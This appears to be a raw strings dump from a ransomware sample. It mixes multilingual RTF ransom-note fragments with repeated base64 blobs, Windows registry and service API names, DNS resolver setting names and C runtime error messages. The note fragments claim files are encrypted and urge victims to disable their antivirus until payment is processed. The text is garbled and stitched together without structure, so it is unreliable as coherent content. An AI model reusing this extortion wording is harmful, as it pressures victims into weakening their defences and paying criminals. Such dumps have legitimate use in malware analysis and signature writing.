NJEfVqSofR2msfVBk/nwjbPpXc9cw3Cj20My4iHG9G4ARN1GqwO2xH8vQDaUsn7Qw5fT2aY5JJdMz2vPXMYKI8QNhVbo+xa6vj7fod/QHKmKUhGD plik\\'f3\\loch\\f31528 \\hich\\f31528 w, nawet je\\'9c\\loch\\f31528 \\hich\\f31528 li zap\\'b3\\loch\\f31528 acisz! pode recuperar todos os seus arquivos de forma segura e f\\'e1\\loch\\f31502 \\hich\\f31502 cil. Mas voc\\'ea\\loch\\f31502 \\hich\\f31502 n\\'e3\\loch\\f31502 o tem tempo suficiente. PrivateKeyLifetimeSeconds PrivKeyCacheMaxItems PrivKeyCachePurgeIntervalSeconds ProductVersion ProviderInfo ProxyHttp1.1 pute}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 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 Qu'est-ce qui s'est pass\\'e9\\loch\\f31502 avec mon ordinateur? r mer information, klicka p\\'e5\\loch\\f31502 <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid13779469 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 How to buy }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid15532574\\charrsid13779469 r programvaran och inaktiverar ditt antivirusprogram ett tag tills du betalar och betalningen behandlas. O\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 R.@@- R6002- floating point support not loaded R6017- unexpected multithread lock error R6018- unexpected heap error R6032- not enough space for locale information R6033- Attempt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain. r7J5aeRrLmBr/hb9bYEXZm021DpdeTNoOYYvv0T+lNQjdiR7LkNN0FqZ2Qzqw65gTEL0H7NFit4KrHRg2HN4SahBmrhvWBjV/yKYK0wmglNwlk3r0PAct+NWmZF9JagZE2BiHbiBBlEI29F/UN75bXD9l1Q/0Kcz/Uzh/MvveVF258rAjFInwG8ZqxCM0MpoC5PWOaW1RmLjnuhMd74K8xACxh2hsIyPd7kVjMwf8UmA5w0+lN9bWPytL5XZQURL/A2sPZc6I7FterYn/pBL8H1O61MDngY0GkuVTzuVx7mTX+Ccrds2xTkQwaogLGN+0+i3/YIs8EYnxOt7l1NDuZABViyeCEGb/luBxbAnQSnGpRwJvrmoY8toD09ukeWgjCJ2Ai8ExtpIChU2sNx85eQThEAoN0zmSyg9o30K4Tsov1ZTIp/X95Se8KnwQi9dR3QYKc8yBBSm8kVJ6GGpKQNWQ6P8c+jFICxRXCr61hUCrp7l3wPkNw013Rl5fmPpPiQo6CeAMsuJNiwYxfPyi07CMqjnVLoeG6OOTWljvz8y+FTfVZCZBsFBDF9466IHD5vRZFXNyMK9f8lBAf/FKP5U2etKvFr+y0UzeQ50K1VhCDWxQIyPi78hG4ytDPs/1abcyyE+Zz82FmWbwA6SnUjO/25jXVospykFgiPFrDMiCFBF0uut8WqNe7+7HmU8v+Ig4F+1eQ9MSR7WXiFiZXWHXj1crLYpGpFd95oYovDOvw+yWgkxqIT+R6V2F+o5RYMdg9YCMTgtiyu70wCgucw9RU1kqGkiYCOkKL0aWDOzuBO5S5CkTYAJdzE+W5XDCgX6cpWGhJ0FasNnH3NAfjYI0LszwpEDu98OBY+zmtTlZtC3oPFMWAC/Z0AlaKppAPj9wC+wTUvHaYebKOjTujZqL+ysbIsiANOz9as1cnBUVVGzas9ZZKOX83TZfRF3UTrZM1UxnxEDg+3tUKdUvZGixYunoOnldp/9oFIHacUCtHo6CGE6jgS0iRgbi3Y r7J5aeRrLmBr/hb9bYEXZm021DpdeTNoOYYvv0T+lNQjdiR7LkNN0FqZ2Qzqw65gTEL0H7NFit4KrHRg2HN4SahBmrhvWBjV/yKYK0wmglNwlk3r0PAct+NWmZF9JagZE2BiHbiBBlEI29F/UN75bXD9l1Q/0Kcz/Uzh/MvveVF258rAjFInwG8ZqxCM0MpoC5PWOaW1RmLjnuhMd74K8xACxh2hsIyPd7kVjMwf8UmA5w0+lN9bWPytL5XZQURL/A2sPZc6I7FterYn/pBL8H1O61MDngY0GkuVTzuVx7mTX+Ccrds2xTkQwaogLGN+0+i3/YIs8EYnxOt7l1NDuZABViyeCEGb/luBxbAnQSnGpRwJvrmoY8toD09ukeWgjCJ2Ai8ExtpIChU2sNx85eQThEAoN0zmSyg9o30K4Tsov1ZTIp/X95Se8KnwQi9dR3QYKc8yBBSm8kVJ6GGpKQNWQ6P8c+jFICxRXCr61hUCrp7l3wPkNw013Rl5fmPpPiQo6CeAMsuJNiwYxfPyi07CMqjnVLoeG6OOTWljvz8y+FTfVZCZBsFBDF9466IHD5vRZFXNyMK9f8lBAf/FKP5U2etKvFr+y0UzeQ50K1VhCDWxQIyPi78hG4ytDPs/1abcyyE+Zz82FmWbwA6SnUjO/25jXVospykFgiPFrDMiCFBF0uut8WqNe7+7HmU8v+Ig4F+1eQ9MSR7WXiFiZXWHXj1crLYpGpFd95oYovDOvw+yWgkxqIT+R6V2F+o5RYMdg9YCMTgtiyu70wCgucw9RU1kqGkiYCOkKL0aWDOzuBO5S5CkTYAJdzE+W5XDCgX6cpWGhJ0FasNnH3NAfjYI0LszwpEDu98OBY+zmtTlZtC3oPFMWAC/Z0AlaKppAPj9wC+wTUvHaYebKOjTujZqL+ysbIsiANOz9as1cnBUVVGzas9ZZKOX83TZfRF3UTrZM1UxnxEDg+3tUKdUvZGixYunoOnldp/9oFIHacUCtHo6CGE6jgS0iRgbi3Yf RD52zD/FU3WCrodEeM2HOgCCPqxe0XKNyiYMlJ2AfKgcjIJJRO0PQXQS8XAjF9bscH3jAgucHgd/L8CSAbakddmQoVheibG8whSS4Yn9v5YCwAEKJ4U9yk561d4AF2eE3zX0UU231oSScyGgZL4udKz+vTbY1LP7QyXRtnDL68MIMN2/OEd53/+VLo9KPeeK65Xae5bfYW7xOJfHVAnmd38wMhK3RRGjU0CrUB+doZgQpWK+EE+arsxohuImQiQaeKrA8yK9hWDQsX5ayRyJl/LmvItBoNW/9wlpP80ZHQYBEewqI+yPpysUgd82W7//4uFs5lwPJj30nKg3sJNJM500+FHK9yHrLMYSIckTsok2oUKK1v0JybjS6BZdtcBSuDCo7kGhF39r/YkUICZujPfRurg2WbM+jaw8sN7gKhbgRgv1HukS7Sq0GEif6VwYamTKAV2FIj62LcibRoGnLMb/CzXbbGe7wQJvtv1rxJhvFS4ezJr33/dccs9lhUeWuiFwujna6dmmxoLhY1pnsClCbA2Y78t6xPpBEIG58xAwGERiJcvy4LVXIz78LEa4CZSVTJ2CwGRvHeSt5wvJsmd2AtT2EzKV/sFKK3F5LYMlNatBdm+CaFA5w0AVJI+Vd2Sw/hzkowh7ofqSxRJANXC3ljsiLLX9PgJovhmIX3magDl96lQbtyDcQaaFHGj/rCsKbeHNqDmdvwYThu+N5Aceqm/NAko4PN4jCb8ljdyHedc+a0Ll5f2ktVN57n+W4ABgAz6HSHg6LOEQt+cRLksBYG08tx9x5FBZdwcWAbKInPPuFoYy33AS5IEB+S62I7Pvq933d+O6tIjJAFWiRIu6j38+gjk7S40O/lRcLU4AJh9suzHH3Jhv7SWxRunV8WKa+w2zv/kzn1tALCX3S9QXWESW4BL2+uk4AB3C/R21KuG5Pr1D/BpOjgSlIr2fDt7Ull0CBB8F8MAgbxEx7892eVBXvz2Aa3B3Now17ezS8IGgyJFgpUNnTsvFYCJ RD52zD/FU3WCrodEeM2HOgCCPqxe0XKNyiYMlJ2AfKgcjIJJRO0PQXQS8XAjF9bscH3jAgucHgd/L8CSAbakddmQoVheibG8whSS4Yn9v5YCwAEKJ4U9yk561d4AF2eE3zX0UU231oSScyGgZL4udKz+vTbY1LP7QyXRtnDL68MIMN2/OEd53/+VLo9KPeeK65Xae5bfYW7xOJfHVAnmd38wMhK3RRGjU0CrUB+doZgQpWK+EE+arsxohuImQiQaeKrA8yK9hWDQsX5ayRyJl/LmvItBoNW/9wlpP80ZHQYBEewqI+yPpysUgd82W7//4uFs5lwPJj30nKg3sJNJM500+FHK9yHrLMYSIckTsok2oUKK1v0JybjS6BZdtcBSuDCo7kGhF39r/YkUICZujPfRurg2WbM+jaw8sN7gKhbgRgv1HukS7Sq0GEif6VwYamTKAV2FIj62LcibRoGnLMb/CzXbbGe7wQJvtv1rxJhvFS4ezJr33/dccs9lhUeWuiFwujna6dmmxoLhY1pnsClCbA2Y78t6xPpBEIG58xAwGERiJcvy4LVXIz78LEa4CZSVTJ2CwGRvHeSt5wvJsmd2AtT2EzKV/sFKK3F5LYMlNatBdm+CaFA5w0AVJI+Vd2Sw/hzkowh7ofqSxRJANXC3ljsiLLX9PgJovhmIX3magDl96lQbtyDcQaaFHGj/rCsKbeHNqDmdvwYThu+N5Aceqm/NAko4PN4jCb8ljdyHedc+a0Ll5f2ktVN57n+W4ABgAz6HSHg6LOEQt+cRLksBYG08tx9x5FBZdwcWAbKInPPuFoYy33AS5IEB+S62I7Pvq933d+O6tIjJAFWiRIu6j38+gjk7S40O/lRcLU4AJh9suzHH3Jhv7SWxRunV8WKa+w2zv/kzn1tALCX3S9QXWESW4BL2+uk4AB3C/R21KuG5Pr1D/BpOjgSlIr2fDt7Ull0CBB8F8MAgbxEx7892eVBXvz2Aa3B3Now17ezS8IGgyJFgpUNnTsvFYCJp RegCloseKey RegCreateKeyW RegisterAdapterName RegisterPrimaryName RegisterReverseLookup RegisterServiceCtrlHandlerA RegisterWanAdapters RegistrationEnabled RegistrationMaxAddressCount RegistrationOverwrite RegistrationRefreshInterval RegistrationTtl RegQueryValueExA RegSetValueExA RemoteRpcDll rer vos fichiers sans notre service de d\\'e9\\loch\\f31502 cryptage. ResolverRegistration ResolverRegistrationOnly Rp/ovZWeh65j6G5mVS3o3Ux5cH2pfT/VZm8xsBsr1o2YKlVmsY6mPAOnlmaEwFLrPTm5WIYnd0yOc3abTlt6R1RfwenXgqn5K1K6Uq5o7T+KblzWV1TXo0zTIBD/CwnKbkITPd7GkK+fG/pVTIAGxuI84OwkE6U9/WO3niv3bgLtebI/5Oj2ESIrNTwBRdIGzDYcK1VTlSYl0RMsMMZvWqZAhNBs9xfpyBgzAn+5NpIUwKnm6HS2UbNab6SQIQF53r0+Rx8w7xZkOEayDuGvPQ32Y7zfHtM8o8wsNxWPtI1zCcMUyHPA3zAeGkKIy51j911mdZeLmlXULTazhCdl+lYNd6aoUthPLUew6ng+vSLSxqF1N7+/bFkcWd5vuCPigEKxEg+X3d+JviOJaI9GJ2HWIT8ehFzv6JP7ymkH0XaHYKIXXDbGpMhJWmZzOd+KeEt4MY6Be95bnyjLPxR8Htcc2E35+8q074yiBdThfaOMI18K65supem5lEgTe2lQdQurhhNhgbmYPpmWsSerB8R4CiDHQg6B1xxN9lpUnCWCn37Ib9vdQ2V90almoOSh5FfBxJiPIERqxvWkHqv3h/c0c8MZ3kLJi/+5PD+F/rT0hmgD1lUoqZ9KfEAB/ivMQzIbMnhoJ6DpDZwXvWgYON+Ti4Of8cD3JVZFHKCPtFO1LWNuXu9DHS0cChPvbPTNgL1fuz3hWniAOjJxyXhilxEmUKoCuaHrjL7/mCwA8mUTF8nZfDOYFw/CN4ol8UuKSKKNotx6s4EGyOXAGxRTqQw5Rqr70SWFUVy18EO3TCMj/3eC7HjDV7CAh6+160YbDs53m7AehAx+OlUNq01wPuaxFfSqlgcUG+9Rn1b/Xp1jvWeSkCNdYiiiXi1XwsMrdhKZGKroSXSSJclExe6ZgcNNPa/HgjvXbwtmRkgiGneql4mBYmKDzcXCkp/tjnL6/KriY81gMHN4G9ulMunxVyF8wybDcifTOxtarjLXVRuC1Y7vzYaEuHT RtlLookupFunctionEntry runtime error Runtime Error!Program: s=""urn:schemas-microsoft-com:asm.v1"" manifestVersion=""1.0""> Windows 10 --> Windows 8.1 --> Windows Vista --> Wind saatavilla, koska ne on salattu. Ehk\\'e4\\loch\\f31502 \\hich\\f31502 olet kiireinen etsim\\'e4\\loch\\f31502 \\hich\\f31502 ss\\'e4\\loch\\f31502 \\hich\\f31502 tapaa palauttaa tiedostot, mutta \\'e4\\loch\\f31502 \\hich\\f31502 l\\'e4\\loch\\f31502 sactiver votre antivirus pendant un certain temps, jusqu'\\'e0\\loch\\f31502 \\hich\\f31502 ce que vous payiez et que le paiement soit trait\\'e9\\loch\\f31502 \\hich\\f31502 . Si votre antivirus est mis \\'e0\\loch\\f31502 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 SafeProcessSearchMode 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 ScreenBadTlds ScreenDefaultServers ScreenUnreachableServers ServerInfoTimeout SetLastError SetServiceStatus ShareCredsWithWinHttp ShowDebugInfo SING error 